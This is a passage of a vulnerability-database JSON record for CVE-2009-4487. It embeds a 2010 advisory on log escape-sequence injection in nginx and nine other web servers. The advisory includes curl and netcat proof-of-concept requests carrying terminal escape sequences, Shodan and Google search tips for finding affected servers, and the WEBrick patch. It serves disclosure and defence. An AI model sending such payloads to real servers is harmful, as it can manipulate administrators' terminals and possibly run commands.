], "trust": 0.6 }, "cve": "CVE-2009-4487", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "acInsufInfo": false, "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "author": "NVD", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "exploitabilityScore": 8.6, "impactScore": 6.4, "integrityImpact": "PARTIAL", "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "trust": 1.0, "userInteractionRequired": true, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, { "acInsufInfo": null, "accessComplexity": "Low", "accessVector": "Network", "authentication": "None", "author": "NVD", "availabilityImpact": "None", "baseScore": 5.0, "confidentialityImpact": "Partial", "exploitabilityScore": null, "id": "CVE-2009-4487", "impactScore": null, "integrityImpact": "None", "obtainAllPrivilege": null, "obtainOtherPrivilege": null, "obtainUserPrivilege": null, "severity": "Medium", "trust": 0.8, "userInteractionRequired": null, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "author": "VULHUB", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "exploitabilityScore": 8.6, "id": "VHN-41933", "impactScore": 6.4, "integrityImpact": "PARTIAL", "severity": "MEDIUM", "trust": 0.1, "vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P", "version": "2.0" } ], "cvssV3": [], "severity": [ { "author": "NVD", "id": "CVE-2009-4487", "trust": 1.8, "value": "MEDIUM" }, { "author": "CNNVD", "id": "CNNVD-201001-094", "trust": 0.6, "value": "MEDIUM" }, { "author": "VULHUB", "id": "VHN-41933", "trust": 0.1, "value": "MEDIUM" } ] } ], "sources": [ { "db": "VULHUB", "id": "VHN-41933" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator. The \u0027nginx\u0027 program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files. \nAttackers can exploit this issue to execute arbitrary commands in a terminal. \nThis issue affects nginx 0.7.64; other versions may also be affected. Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver,\nYaws and Boa log escape sequence injection\n\n Name Nginx, Varnish, Cherokee, thttpd, mini-httpd,\n WEBrick, Orion, AOLserver, Yaws and Boa log escape\n sequence injection\n Systems Affected nginx 0.7.64\n Varnish 2.0.6\n Cherokee 0.99.30\n mini_httpd 1.19\n thttpd 2.25b0\n WEBrick 1.3.1\n Orion 2.0.7\n AOLserver 4.5.1\n Yaws 1.85\n Boa 0.94.14rc21\n Severity Medium\n Impact (CVSSv2) Medium 5/10, vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)\n Vendor http://www.nginx.net/\n http://varnish.projects.linpro.no/\n http://www.cherokee-project.com/\n http://www.ruby-lang.org/\n http://www.acme.com/software/thttpd/\n http://www.acme.com/software/mini_httpd/\n http://www.orionserver.com/\n http://www.aolserver.com/\n http://yaws.hyber.org/\n http://www.boa.org/\n Advisory http://www.ush.it/team/ush/hack_httpd_escape/adv.txt\n Authors Giovanni \"evilaliv3\" Pellerano (evilaliv3 AT ush DOT it)\n Alessandro \"jekil\" Tanasi (alessandro AT tanasi DOT it)\n Francesco \"ascii\" Ongaro (ascii AT ush DOT it)\n Date 20100110\n\nI. BACKGROUND\n\nnginx is a HTTP and reverse proxy server written by Igor Sysoev. \nVarnish is a state-of-the-art, high-performance HTTP accelerator. \nCherokee is a very fast, flexible and easy to configure Web Server. \nthttpd is a simple, small, portable, fast, and secure HTTP server. \nmini_httpd is a small HTTP server. \nWEBrick is a Ruby library providing simple HTTP web server services. \nOrion Application Server is a pure java application-server. \nAOLserver is America Online\u0027s Open-Source web server. \nYaws is a HTTP high perfomance 1.1 webserver. \nBoa is a single-tasking HTTP server. \n\nII. DESCRIPTION\n\nNginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver,\nYaws and Boa are subject to logs escape sequence injection\nvulnerabilites. \n\nEscape sequences are special characters sequences that are used to\ninstruct the terminal to perform special operations like executing\ncommands [4, 5] or dumping the buffer to a file [6, 7]. \n\nWhen the webserver is executed in foreground in a pty or when the\nlogfiles are viewed with tools like \"cat\" or \"tail\" such control chars\nreach the terminal and are executed. \n\nIII. ANALYSIS\n\nSummary:\n\n A) \"nginx\" log escape sequence injection\n (Affected versions: 0.7.64 and probably earlier versions)\n\n B) \"Varnish\" log escape sequence injection\n (Affected versions: 2.0.6 and probably earlier versions)\n\n C) \"Cherokee\" log escape sequence injection\n (Affected versions: 0.99.30 and probably earlier versions)\n\n D) \"thttpd\" log escape sequence injection\n (Affected versions: thttpd/2.25b and probably earlier versions)\n\n E) \"mini_httpd\" log escape sequence injection\n (Affected versions: 1.19 and probably earlier versions)\n\n F) \"WEBrick\" log escape sequence injection\n (Affected versions: 1.3.1 and probably earlier versions)\n\n G) \"Orion\" log escape sequence injection\n (Affected versions: 2.0.7 and probably earlier versions)\n\n H) \"AOLserver\" log escape sequence injection\n (Affected versions: 4.5.1 and probably earlier versions)\n\n I) \"Yaws\" log escape sequence injection\n (Affected versions: 1.85 and probably earlier versions)\n\n L) \"Boa\" log escape sequence injection\n (Affected versions: 0.94.14rc21 and probably earlier versions)\n\nA) \"nginx\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nB) \"Varnish\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\nxterm varnishlog\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nC) \"Cherokee\" log escape sequence injection\n\nThe following Proof Of Concept can be used in order to verify the\nvulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\nD) \"thttpd\" log escape sequence injection\n\nThe following Proof Of Concept can be used in order to verify the\nvulnerability. \n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nE) \"mini_httpd\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nF) \"WEBrick\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nG) \"Orion\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nH) \"AOLserver\" log escape sequence injection\n\nThe following Proof Of Concept can be used in order to verify the\nvulnerability. \n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nI) \"Yaws\" log escape sequence injection\n\nOne of the following two Proofs Of Concept can be used in order to\nverify the vulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\necho -en \"GET /\\x1b]2;owned?\\x07\\x0a\\x0d\\x0a\\x0d\" \u003e payload\nnc localhost 80 \u003c payload\n\nL) \"Boa\" log escape sequence injection\n\nThe following Proof Of Concept can be used in order to verify the\nvulnerability. \n\ncurl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n\nIV. DETECTION\n\nServices like Shodan (shodan.surtri.com) or Google can be used to get an\napproximate idea on the usage of the products. \n\nSome examples:\n - http://shodan.surtri.com/?q=nginx\n - http://www.google.com/search?q=\"powered+by+Cherokee\"\n - curl -kis http://www.antani.gov | grep -E \"Server: Orion/2.0.8\"\n\nV. WORKAROUND\n\nCherokee and WEBrick (Ruby) released related security fixes and releases\nas detailed below. \n\nCherokee issued a public patch that resolved the issue but caused some\nissues (http://svn.cherokee-project.com/changeset/3944) and has been\nlater replaced (http://svn.cherokee-project.com/changeset/3977) by a\nbetter fix that both resolve the issue and doesn\u0027t affect the normal\nwebserver behavior. Use the second patch or a safe release like 0.99.34\nor above. If you are using Cherokee 0.99.32 please note that your build\nuses the first patch. \n\nWebrick (Ruby) sent us the following patch and issued a release\nthat fixes the issues. Detailed informations are available at the\nfollowing url:\n\nhttp://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection\n\nThe patch we reviewed is the following but please refer to the vendor\u0027s\narticle for exact informations. \n\n--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--\n\nIndex: lib/webrick/httpstatus.rb\n===================================================================\n--- lib/webrick/httpstatus.rb\t(revision 26065)\n+++ lib/webrick/httpstatus.rb\t(working copy)\n@@ -13,5 +13,15 @@ module WEBrick\n module HTTPStatus\n\n- class Status \u003c StandardError; end\n+ class Status \u003c StandardError\n+ def initialize(message, *rest)\n+ super(AccessLog.escape(message), *rest)\n+ end\n+ class \u003c\u003c self\n+ attr_reader :code, :reason_phrase\n+ end\n+ def code() self::class::code end\n+ def reason_phrase() self::class::reason_phrase end\n+ alias to_i code\n+ end\n class Info \u003c Status; end\n class Success \u003c Status; end\n@@ -69,4 +79,5 @@ module WEBrick\n\n StatusMessage.each{|code, message|\n+ message.freeze\n var_name = message.gsub(/[ \\-]/,\u0027_\u0027).upcase\n err_name = message.gsub(/[ \\-]/,\u0027\u0027)\n@@ -80,16 +91,10 @@ module WEBrick\n end\n\n- eval %-\n- RC_#{var_name} = #{code}\n- class #{err_name} \u003c #{parent}\n- def self.code() RC_#{var_name} end\n- def self.reason_phrase() StatusMessage[code] end\n- def code() self::class::code end\n- def reason_phrase() self::class::reason_phrase end\n- alias to_i code\n- end\n- -\n-\n- CodeToError[code] = const_get(err_name)\n+ const_set(\"RC_#{var_name}\", code)\n+ err_class = Class.new(parent)\n+ err_class.instance_variable_set(:@code, code)\n+ err_class.instance_variable_set(:@reason_phrase, message)\n+ const_set(err_name, err_class)\n+ CodeToError[code] = err_class\n }\n\nIndex: lib/webrick/httprequest.rb\n===================================================================\n--- lib/webrick/httprequest.rb\t(revision 26065)\n+++ lib/webrick/httprequest.rb\t(working copy)\n@@ -267,9 +267,5 @@ module WEBrick\n end\n end\n- begin\n- @header = HTTPUtils::parse_header(@raw_header.join)\n- rescue =\u003e ex\n- raise HTTPStatus::BadRequest, ex.message\n- end\n+ @header = HTTPUtils::parse_header(@raw_header.join)\n end\n\nIndex: lib/webrick/httputils.rb\n===================================================================\n--- lib/webrick/httputils.rb\t(revision 26065)\n+++ lib/webrick/httputils.rb\t(working copy)\n@@ -130,9 +130,9 @@ module WEBrick\n value = $1\n unless field\n- raise \"bad header \u0027#{line.inspect}\u0027.\"\n+ raise HTTPStatus::BadRequest, \"bad header \u0027#{line}\u0027.\"\n end\n header[field][-1] \u003c\u003c \" \" \u003c\u003c value\n else\n- raise \"bad header \u0027#{line.inspect}\u0027.\"\n+ raise HTTPStatus::BadRequest, \"bad header \u0027#{line}\u0027.\"\n end\n }\n\nIndex: lib/webrick/accesslog.rb\n===================================================================\n--- lib/webrick/accesslog.rb\t(revision 26065)\n+++ lib/webrick/accesslog.rb\t(working copy)\n@@ -54,5 +54,5 @@ module WEBrick\n raise AccessLogError,\n \"parameter is required for \\\"#{spec}\\\"\" unless param\n- params[spec][param] || \"-\"\n+ param = params[spec][param] ? escape(param) : \"-\"\n when ?t\n params[spec].strftime(param || CLF_TIME_FORMAT)\n@@ -60,8 +60,16 @@ module WEBrick\n \"%\"\n else\n- params[spec]\n+ escape(params[spec].to_s)\n end\n }\n end\n+\n+ def escape(data)\n+ if data.tainted?\n+ data.gsub(/[[:cntrl:]\\\\]+/) {$\u0026.dump[1...-1]}.untaint\n+ else\n+ data\n+ end\n+ end\n end\n end\n\n--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--\n\nVI. VENDOR RESPONSE\n\nWe contacted the vendors of eleven affected webservers, counting the\nprevious advisory [1] for Jetty. Three fixed the issue (Cherokee,\nWEBrick/Ruby and Jetty), one will not fix the issue (Varnish) and one\nacknowledged the issue (AOLserver). \n\nNginx NO-RESPONSE\nCherokee FIXED\nthttpd NO-RESPONSE\nmini-httpd NO-RESPONSE\nWEBrick FIXED\nOrion NO-RESPONSE\nAOLserver ACK\nYaws NO-RESPONSE\nBoa NO-RESPONSE\nVarnish WONT-FIX\n\nThe response was overall good and it was nice to work with them, in\nparticular we want to thank Cherokee\u0027s staff, Ruby\u0027s staff, Raphael\nGeissert (Debian) and Steven M. Christey (Mitre) for the support. \n\nPoul-Henning Kamp (Varnish) replied to our contact email with the\nfollowing email that we quote as-is. \n\n--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--\n\nThe official Varnish response, which I ask that you include in its\nentirety in your advisory, if you list Varnish as \"vulnerable\" in it:\n\nThis is not a security problem in Varnish or any other piece of software\nwhich writes a logfile. \n\nThe real problem is the mistaken belief that you can cat(1) a random\nlogfile to your terminal safely. \n\nThis is not a new issue. I first remember the issue with xterm(1)\u0027s\ninadvisably implemented escape-sequences in a root-context, brought up\nheatedly, in 1988, possibly late 1987, at Copenhagens University\nComputer Science dept. (Diku.dk). Since then, nothing much have changed. \n\nThe wisdom of terminal-response-escapes in general have been questioned\nat regular intervals, but still none of the major terminal emulation\nprograms have seen fit to discard these sequences, probably in a\nmisguided attempt at compatibility with no longer used 1970\u0027es\ntechnology. \n\nI admit that listing \"found a security hole in all HTTP-related programs\nthat write logfiles\" will look more impressive on a resume, but I think\nit is misguided and a sign of trophy-hunting having overtaken common\nsense. \n\nInstead of blaming any and all programs which writes logfiles, it would\nbe much more productive, from a security point of view, to get the\nterminal emulation programs to stop doing stupid things, and thus fix\nthis and other security problems once and for all. \n\n--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--8\u003c--\n\nWe would like to punctuate the following facts:\n\n1) We totally agree that the root of the problem is an unwise design in\nthe terminal emulators. If in 70\u0027 controls were sent out of band on a\nsecondary channel we would not have the equivalent of Blue Boxing in the\nterminal. \n\nThis is a known issue from years. We didn\u0027t invented this attack vector\nand never claimed so. We don\u0027t think that design changes will happen in\nthe short or mid term so it\u0027s better to have a proactive approach and\nsanitize outputs where functionalities are likely to not be affected at\nall like in this case. \n\nSecurity in complex systems requires some sinergy. \n\n2) Varnish is the only program that doesn\u0027t need a \"cat\" program as logs\nare stored in memory and displayed using the \"varnishlog\" utility. \n\n2) Apache fixed a similiar bug (CVE-2003-0020), \"Low: Error log escape\nfiltering\", in 2004 (six years ago). The bug was affecting Apache up\nto 1.3.29 [8] or 2.0.48 [9] depending on the branch. \n\nTake you conclusion, criticize if you want. In the meantime things are a\nlittle safer. \n\nVII. CVE INFORMATION\n\nCVE-2009-4487 nginx 0.7.64\nCVE-2009-4488 Varnish 2.0.6\nCVE-2009-4489 Cherokee 0.99.30\nCVE-2009-4490 mini_httpd 1.19\nCVE-2009-4491 thttpd 2.25b0\nCVE-2009-4492 WEBrick 1.3.1\nCVE-2009-4493 Orion 2.0.7\nCVE-2009-4494 AOLserver 4.5.1\nCVE-2009-4495 Yaws 1.85\nCVE-2009-4496 Boa 0.94.14rc21\n\nVIII. DISCLOSURE TIMELINE\n\n20091117 Bug discovered\n20091208 First vendor contact\n20091209 Cherokee team confirms vulnerability (Alvaro Lopez Ortega)\n20091209 Alvaro Lopez Ortega commits Cherokee patch\n20091210 Ruby team confirms vulnerability (Shugo Maeda)\n20091211 Shugo Maeda sends us webrick patch for evaulation\n20091211 AOLserver confirms vulnerability (Jim Davidson)\n20091221 Contacted Raphael Geissert (Debian Security)\n20091223 Contacted Steven M. Christey (mitre.org)\n20091230 Raphael Geissert forwards to Redhat, Debian, Ubuntu and Mitre\n20091230 CVEs assigned by Steven M. Christey\n20100105 Poul-Henning (Varnish) Kamp said WONT-FIX\n20100105 Ruby team is ready for commit (Urabe Shyouhei)\n20100106 Second vendor contact\n20100110 Advisory release\n\nIX. REFERENCES\n\n[1] Jetty 6.x and 7.x Multiple Vulnerabilities\n http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt\n[2] Apache does not filter terminal escape sequences from error logs\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020\n[3] Apache does not filter terminal escape sequences from access logs\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083\n[4] Debian GNU/Linux XTERM (DECRQSS/comments) Weakness Vulnerability\n http://www.milw0rm.com/exploits/7681\n[5] Terminal Emulator Security Issues\n http://marc.info/?l=bugtraq\u0026m=104612710031920\u0026w=2\n[6] Eterm Screen Dump Escape Sequence Local File Corruption Vulnerability\n http://www.securityfocus.com/bid/6936/discuss\n[7] RXVT Screen Dump Escape Sequence Local File Corruption Vulnerability\n http://www.securityfocus.com/bid/6938/discuss\n[8] Apache httpd 1.3 vulnerabilities\n http://httpd.apache.org/security/vulnerabilities_13.html\n[9] Apache httpd 2.2 vulnerabilities\n http://httpd.apache.org/security/vulnerabilities_22.html\n\nX. CREDIT\n\nGiovanni \"evilaliv3\" Pellerano, Alessandro \"jekil\" Tanasi and\nFrancesco \"ascii\" Ongaro are credited with the discovery of this\nvulnerability. \n\nGiovanni \"evilaliv3\" Pellerano\nweb site: http://www.ush.it/, http://www.evilaliv3.org/\nmail: evilaliv3 AT ush DOT it\n\nAlessandro \"jekil\" Tanasi\nweb site: http://www.tanasi.it/\nmail: alessandro AT tanasi DOT it\n\nFrancesco \"ascii\" Ongaro\nweb site: http://www.ush.it/\nmail: ascii AT ush DOT it\n\nX. LEGAL NOTICES\n\nCopyright (c) 2009 Francesco \"ascii\" Ongaro\n\nPermission is granted for the redistribution of this alert\nelectronically. It may not be edited in any way without mine express\nwritten consent. If you wish to reprint the whole or any\npart of this alert in any other medium other than electronically,\nplease email me for permission. \n\nDisclaimer: The information in the advisory is believed to be accurate\nat the time of publishing based on currently available information. Use\nof the information constitutes acceptance for use in an AS IS condition. \nThere are no warranties with regard to this information. Neither the\nauthor nor the publisher accepts any liability for any direct, indirect,\nor consequential loss or damage arising from use of, or reliance on,\nthis information", "sources": [ { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "BID", "id": "37711" }, { "db": "VULHUB", "id": "VHN-41933" }, { "db": "PACKETSTORM", "id": "85018" } ], "trust": 2.07 }, "exploit_availability": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "reference": "https://www.scap.org.cn/vuln/vhn-41933", "trust": 0.1, "type": "unknown" } ], "sources": [ { "db": "VULHUB", "id": "VHN-41933" } ] }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2009-4487", "trust": 2.9 }, { "db": "BID", "id": "37711", "trust": 2.0 }, { "db": "JVNDB", "id": "JVNDB-2010-004324", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201001-094", "trust": 0.7 }, { "db": "PACKETSTORM", "id": "85018", "trust": 0.2 }, { "db": "EXPLOIT-DB", "id": "33490", "trust": 0.1 }, { "db": "SEEBUG", "id": "SSVID-88037", "trust": 0.1 }, { "db": "SEEBUG", "id": "SSVID-86709", "trust": 0.1 }, { "db": "VULHUB", "id": "VHN-41933", "trust": 0.1 }, { "db": "EXPLOIT-DB", "id": "7681", "trust": 0.1 }, { "db": "BID", "id": "6936", "trust": 0.1 }, { "db": "BID", "id": "6938", "trust": 0.1 } ], "sources": [ { "db": "VULHUB", "id": "VHN-41933" }, { "db": "BID", "id": "37711" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "PACKETSTORM", "id": "85018" }, { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "id": "VAR-201001-0319", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "VULHUB", "id": "VHN-41933" } ], "trust": 0.01 }, "last_update_date": "2023-12-18T11:04:26.326000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "nginx news", "trust": 0.8, "url": "http://nginx.org/" } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2010-004324" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "NVD-CWE-noinfo", "trust": 1.0 }, { "problemtype": "CWE-20", "trust": 0.9 } ], "sources": [ { "db": "VULHUB", "id": "VHN-41933" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "NVD", "id": "CVE-2009-4487" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 1.7, "url": "http://www.securityfocus.com/bid/37711" }, { "trust": 1.7, "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" }, { "trust": 1.2, "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "trust": 0.8, "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2009-4487" }, { "trust": 0.8, "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2009-4487" }, { "trust": 0.6, "url": "httpd_escape/adv.txt" }, { "trust": 0.6, "url": "http://www.ush.it/team/ush/hack_" }, { "trust": 0.3, "url": "http://nginx.org/" }, { "trust": 0.3, "url": "/archive/1/508830" }, { "trust": 0.1, "url": "http://www.securityfocus.com/bid/6936/discuss" }, { "trust": 0.1, "url": "http://www.tanasi.it/" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4495" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4487" }, { "trust": 0.1, "url": "http://marc.info/?l=bugtraq\u0026m=104612710031920\u0026w=2" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4494" }, { "trust": 0.1, "url": "http://www.cherokee-project.com/" }, { "trust": 0.1, "url": "http://www.aolserver.com/" }, { "trust": 0.1, "url": "http://www.ush.it/" }, { "trust": 0.1, "url": "http://www.boa.org/" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4488" }, { "trust": 0.1, "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2003-0083" }, { "trust": 0.1, "url": "http://www.nginx.net/" }, { "trust": 0.1, "url": "http://www.ruby-lang.org/" }, { "trust": 0.1, "url": "http://www.google.com/search?q=\"powered+by+cherokee\"" }, { "trust": 0.1, "url": "http://www.milw0rm.com/exploits/7681" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4492" }, { "trust": 0.1, "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2003-0020" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4489" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4490" }, { "trust": 0.1, "url": "http://www.acme.com/software/mini_httpd/" }, { "trust": 0.1, "url": "http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection" }, { "trust": 0.1, "url": "http://httpd.apache.org/security/vulnerabilities_13.html" }, { "trust": 0.1, "url": "http://www.securityfocus.com/bid/6938/discuss" }, { "trust": 0.1, "url": "http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt" }, { "trust": 0.1, "url": "http://shodan.surtri.com/?q=nginx" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4496" }, { "trust": 0.1, "url": "http://varnish.projects.linpro.no/" }, { "trust": 0.1, "url": "http://httpd.apache.org/security/vulnerabilities_22.html" }, { "trust": 0.1, "url": "http://svn.cherokee-project.com/changeset/3977)" }, { "trust": 0.1, "url": "http://www.ush.it/," }, { "trust": 0.1, "url": "http://www.evilaliv3.org/" }, { "trust": 0.1, "url": "http://yaws.hyber.org/" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4493" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2009-4491" }, { "trust": 0.1, "url": "http://svn.cherokee-project.com/changeset/3944)" }, { "trust": 0.1, "url": "http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a" }, { "trust": 0.1, "url": "http://www.acme.com/software/thttpd/" }, { "trust": 0.1, "url": "http://www.antani.gov" }, { "trust": 0.1, "url": "http://www.orionserver.com/" } ], "sources": [ { "db": "VULHUB", "id": "VHN-41933" }, { "db": "BID", "id": "37711" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "PACKETSTORM", "id": "85018" }, { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "VULHUB", "id": "VHN-41933" }, { "db": "BID", "id": "37711" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "PACKETSTORM", "id": "85018" }, { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2010-01-13T00:00:00", "db": "VULHUB", "id": "VHN-41933" }, { "date": "2010-01-11T00:00:00", "db": "BID", "id": "37711" }, { "date": "2012-09-25T00:00:00", "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "date": "2010-01-11T22:57:19", "db": "PACKETSTORM", "id": "85018" }, { "date": "2010-01-13T20:30:00.357000", "db": "NVD", "id": "CVE-2009-4487" }, { "date": "2010-01-13T00:00:00", "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2021-11-10T00:00:00", "db": "VULHUB", "id": "VHN-41933" }, { "date": "2010-01-11T00:00:00", "db": "BID", "id": "37711" }, { "date": "2012-09-25T00:00:00", "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "date": "2021-11-10T15:51:21.787000", "db": "NVD", "id": "CVE-2009-4487" }, { "date": "2023-05-15T00:00:00", "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "remote", "sources": [ { "db": 